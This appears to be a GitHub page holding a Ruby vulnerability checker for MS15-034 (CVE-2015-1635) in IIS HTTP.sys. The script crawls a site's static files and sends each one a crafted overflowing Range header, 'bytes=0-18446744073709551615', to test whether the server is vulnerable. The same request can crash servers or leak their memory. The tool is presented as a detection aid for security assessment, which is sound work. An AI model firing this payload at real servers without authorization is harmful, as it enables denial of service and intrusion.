forked from ethicalhack3r/scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ms15-034-checker.rb
executable file
·185 lines (147 loc) · 4.14 KB
/
ms15-034-checker.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#!/usr/bin/env ruby
#
## Author: Erwan Le Rousseau (RandomStorm)
#
# As Nessus fails to correctly detect this issue (seems to only check for the welcome.png),
# and not giving any output on the file that was tested, this script test all potential static files
# that are most likely to have the IIS Kernel cache enabled, such as JS, CSS etc for the MS-15-034.
#
## References:
# https://technet.microsoft.com/en-us/library/security/ms15-034.aspx
# http://www.cvedetails.com/cve/CVE-2015-1635/
# https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb
##
#
require 'typhoeus'
require 'nokogiri'
require 'optparse'
require 'addressable/uri'
@opts = {
verbose: false,
proxy: nil,
timeout: 20,
connecttimeout: 10,
user_agent: 'Mozilla/5.0 Gecko/20100101 Firefox/37.0 T/%s'
}
URL_PATTERN = %r{^https?://}
VULNERABLE_PATTERN = /Requested Range Not Satisfiable/i
SAFE_PATTERN = /The request has an invalid header name/i
opt_parser = OptionParser.new('Usage: ./ms15-034-checker.rb [options] URL-OR-FILE', 30) do |opts|
opts.on('--proxy PROXY', '-p', 'Proxy to use, e.g: socks5://127.0.0.1:9090') do |proxy|
@opts[:proxy] = proxy
end
opts.on('--timeout SECONDS', 'The number of seconds for the request to be performed, default 20s') do |timeout|
@opts[:timeout] = timeout
end
opts.on('--connect-timeout SECONDS', 'The number of seconds for the connection to be established before timeout, default 10s') do |timeout|
@opts[:connecttimeout] = timeout
end
opts.on('--verbose', '-v', 'Verbose Mode') do
@opts[:verbose] = true
end
end
opt_parser.parse!
module Typhoeus
# Custom Response class
class Response
# @return [ Nokogiri::HTML ] The response's body parsed by Nokogiri
def html
@html ||= Nokogiri::HTML(body.encode('UTF-8', invalid: :replace, undef: :replace))
end
end
end
class Target
attr_reader :uri
def initialize(url)
# Adds a trailing slash if not present
@uri = Addressable::URI.parse(
url[-1, 1] != '/' ? url + '/' : url
)
end
def url
@uri.to_s
end
def in_scope_urls(res, xpath = '//link|//script|//style|//img', attributes = %w(href src))
found = []
res.html.xpath(xpath).each do |tag|
attributes.each do |attribute|
attr_value = tag[attribute]
next unless attr_value && !attr_value.empty?
url = uri.join(attr_value.strip).to_s
next unless in_scope?(url)
yield url, tag if block_given? && !found.include?(url)
found << url
end
end
found.uniq
end
def in_scope?(url)
Addressable::URI.parse(url.strip).host == @uri.host
end
end
def request_params
{
timeout: @opts[:timeout],
connecttimeout: @opts[:connecttimeout],
proxy: @opts[:proxy],
followlocation: true,
headers: { 'User-Agent' => format(@opts[:user_agent], Time.now.to_i) }
}
end
def check_exploit(url)
res = send_payload(url)
if res && res.body =~ VULNERABLE_PATTERN
'vulnerable'
elsif res && res.body =~ SAFE_PATTERN
'safe'
else
'unknown'
end
end
def send_payload(url)
Typhoeus.get(
url,
request_params.merge(
headers: {
'Range' => 'bytes=0-18446744073709551615',
'User-Agent' => format(@opts[:user_agent], Time.now.to_i)
}
)
)
end
argv = ARGV[0]
targets = []
unless argv
puts opt_parser.help
exit(0)
end
if argv =~ URL_PATTERN
targets << Target.new(argv)
else
File.open(argv).each do |line|
if line =~ URL_PATTERN
targets << Target.new(line.chomp)
elsif @opts[:verbose]
puts "[Warning] - #{line.chomp} is not a valid URL - Ignored"
end
end
end
targets.each do |target|
begin
puts
puts "[+] Checking #{target.url}"
res = Typhoeus.get(target.url, request_params)
(target.in_scope_urls(res) << target.uri.join('welcome.png').to_s).each do |url|
print " | #{url} - "
state = check_exploit(url)
puts state
break unless state == 'unknown'
end
rescue Interrupt
puts 'Interrupted by user, jumping to next target'
next
rescue => e
puts "[Error] - #{e.message}"
next
end
end